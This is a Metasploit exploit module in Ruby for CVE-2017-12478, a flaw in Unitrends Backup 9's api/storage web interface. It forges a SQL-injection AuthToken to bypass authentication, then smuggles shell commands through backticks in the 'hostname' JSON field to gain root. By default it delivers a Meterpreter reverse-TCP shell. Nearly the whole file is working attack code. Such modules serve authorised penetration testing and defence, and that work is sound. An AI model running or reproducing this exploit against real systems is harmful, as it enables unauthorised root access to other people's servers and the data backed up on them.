98 lines
3.0 KiB
Ruby
98 lines
3.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Unitrends UEB 9 http api/storage remote root',
|
|
'Description' => %q{
|
|
It was discovered that the api/storage web interface in Unitrends Backup (UB)
|
|
before 10.0.0 has an issue in which one of its input parameters was not validated.
|
|
A remote attacker could use this flaw to bypass authentication and execute arbitrary
|
|
commands with root privilege on the target system.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Cale Smith', # @0xC413
|
|
'Benny Husted', # @BennyHusted
|
|
'Jared Arave' # @iotennui
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86],
|
|
'CmdStagerFlavor' => [ 'printf' ],
|
|
'References' =>
|
|
[
|
|
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000TO5PAAW/000005756'],
|
|
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12478'],
|
|
['CVE', '2017-12478'],
|
|
],
|
|
'Targets' =>
|
|
[
|
|
[ 'UEB 9.*', { } ]
|
|
],
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{ 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
|
|
'SSL' => true
|
|
},
|
|
'DisclosureDate' => 'Aug 8 2017',
|
|
'DefaultTarget' => 0))
|
|
register_options(
|
|
[
|
|
Opt::RPORT(443),
|
|
OptBool.new('SSL', [true, 'Use SSL', true])
|
|
])
|
|
deregister_options('SRVHOST', 'SRVPORT')
|
|
end
|
|
|
|
#substitue some charactes
|
|
def filter_bad_chars(cmd)
|
|
cmd.gsub!("\\", "\\\\\\")
|
|
cmd.gsub!("'", '\\"')
|
|
end
|
|
|
|
def execute_command(cmd, opts = {})
|
|
|
|
session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0" #SQLi auth bypass
|
|
session = Base64.strict_encode64(session) #b64 encode session token
|
|
|
|
#substitue the cmd into the hostname parameter
|
|
parms = %Q|{"type":4,"name":"_Stateless","usage":"stateless","build_filesystem":1,"properties":{"username":"aaaa","password":"aaaa","hostname":"`|
|
|
parms << filter_bad_chars(cmd)
|
|
parms << %Q|` &","port":"2049","protocol":"nfs","share_name":"aaa"}}|
|
|
|
|
|
|
res = send_request_cgi({
|
|
'uri' => '/api/storage',
|
|
'method' => 'POST',
|
|
'ctype' => 'application/json',
|
|
'encode_params' => false,
|
|
'data' => parms,
|
|
'headers' =>
|
|
{'AuthToken' => session,}
|
|
})
|
|
|
|
if res &&res.code != 500
|
|
fail_with(Failure::UnexpectedReply,'Unexpected response')
|
|
end
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
|
end
|
|
|
|
def exploit
|
|
print_status("#{peer} - pwn'ng ueb 9....")
|
|
execute_cmdstager(:linemax => 120)
|
|
|
|
end
|
|
end
|